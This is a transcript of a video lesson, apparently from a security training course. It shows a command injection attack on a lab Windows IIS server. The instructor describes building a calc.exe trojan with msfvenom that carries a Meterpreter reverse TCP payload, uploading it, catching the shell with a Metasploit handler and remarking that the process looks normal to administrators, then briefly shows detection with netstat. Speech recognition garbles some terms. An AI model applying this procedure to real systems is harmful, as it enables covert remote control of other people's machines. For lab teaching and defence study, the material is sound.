Now we're going to take everything that we learned, combine it all together and
do a true command injection attack on our target, be WAP.Sci.
Here we go. Now up above, I have the screen opened up where we're taking a look
at our lab environment. I want to show you a couple of things.
First and foremost, I have created a new, and I will zoom in for you here real
quick,
a new C document that basically just says invoke calc in the system.
Calculator. So we're going to compile this into an exe, and we'll name it dummy
_calc.exe.
And what this is going to do, if it's ran on a window system, it's just going
to go behind the scenes and say, hey, run, run calculator.
And it's going to open up calculator. Now once we compile that, and you can see
here, let me show you real quick, I already have these on the side for you,
calc.c, which is the actual notepad of it.
And dummy calc, which is the actual compiled version of that. Right below that
is a file that we're going to create together inside of MSF Venom.
So we're going to say pseudo MSF Venom. And what we're doing here is we're
going to be injecting a net, almost a netcat session, but a reverse shell
commandlet inside of that dummy calc.exe.
And I'm going to have the commands for you below. And I also do want to point
out that there's a difference between 32 and 64 bit operating systems.
That is pointed out in the code below. But when we go through this code, what
we're doing is we're saying MSF Venom. I want you to take dummy calc.exe
and use the module of Windows X64
meter, free reader, reverse TCP, reverse TCP. And the L host is going to be our
system 192.168.0.53. And we're going to have it communicating on port 4444.
And then we're going to output it dash F in executable format. And we're going
to name it calc.exe.
Once we run this, that's where you get the calc.exe file on the desktop itself.
And then also we need to upload it to the site using the bwap.test site
right here. And so I'm going to choose the file real quick. And I'm going to go
to calc.exe.
And I'm going to upload.
And then I'm going to upload the dummy calc so I can show you exactly what I'm
talking about when I say it'll just open a calculator.
So both of them are now uploaded to the Windows 10 IIS system that we're using
for our test and environment.
If I double click on calc dummy calc, it opens up. And for some reason, doesn't
open. Yeah, that took longer than anticipated.
It's probably because it's written in C and running in the background. And it's
not familiar to the windows operating system.
So it's happened to open up boom. There it goes. It closed because couch's
already opened.
Which is no problem. Now we're not going to double click on the calc because,
like I said, the dummy calc was just there to show you. In fact, I'm going to
have it removed for the lab itself.
So that way you can upload create and upload yourself. Inside of our
system over here and we're going to be going into the MSF console. This is
where we're actually going to be connecting
our remote system to us in a reversed shell. Now once MSF
console is ran and again codes below, I'm going to have them for you.
We're going to go in and tell it what module and what commands to use and
listen on.
So first we need to tell it to use an exploit
slash
or use exploit slash multi
I got to be able to type slash handler.
And then we're going to configure by set payload
slash windows
windows
x64
slash meter per
per per year slash reverse
TCP
We're going to set the host as us set L host all capital letters. And this is
going to be 192
dot 168 dot 0 dot 53
Then we're going to set the L port the local port for us as 4444
At this point, we're just going to simply type run
and it's going to go into a listening state
And since we have calc dot exe on the remote system
We could go through and double click on there, but we could just come to here
and just say, you know what
Go we already have it uploaded. We know the previous skills were really good at
it at this point
We're just going to say remotely run calc dot exe
And if I go into the other terminal window here, you could see as I zoom in for
you now
That a TCP handler was established and started a session on our system
Well, if I go in there and just type in d i r
Now i'm able to go through and directory browse a whole lot better now than I
was when we were doing the directory traversal and file manipulation
We're actually in the system at the command prompt
Using iis as service account to access the system and we did it all through
command ejection
And this is why command ejection can be really ugly
Because if we start doing the investigation on the system that we're targeting
here
It's going to go into a rabbit hole of us having to investigate the PID
And the services and the accounts and the event logs
Which is something we'll be exploring way later or as I mentioned before you
could definitely check out the sysa
Casp slash security x now
And some of the other cyber security defense forces here on cbt nuggets because
bob does a really good job at hunt and
Stuff like that down, but if you go into the windows system itself
Let me show you that real quick and then we'll kind of start wrapping this up
If I go into the details, you can see right there
Calc.exe as I zoom in for you right there Calc.exe
So it's running and it looks normal to the
untrained eye
And now we have a full shell of things that we can do on this remote system
Unbeknownst to the actual
Administrators now there are a couple things that you can do you can go in and
do a start run go into cmd go into net stat
- a no
And see as I scroll up
Right here. I'm going to highlight it before I zoom in for you right here
Right there you can see that we have an established connection to a remote
system of report 4444
With the process ID that allows us to be able to go through and start hunting
that now
And the windows is a little bit more complicated because you could see in the
process ID folders and POSIX based systems
Where the files and
attachments are
Actually hooked on in detailed format and windows you got to dig a whole lot
more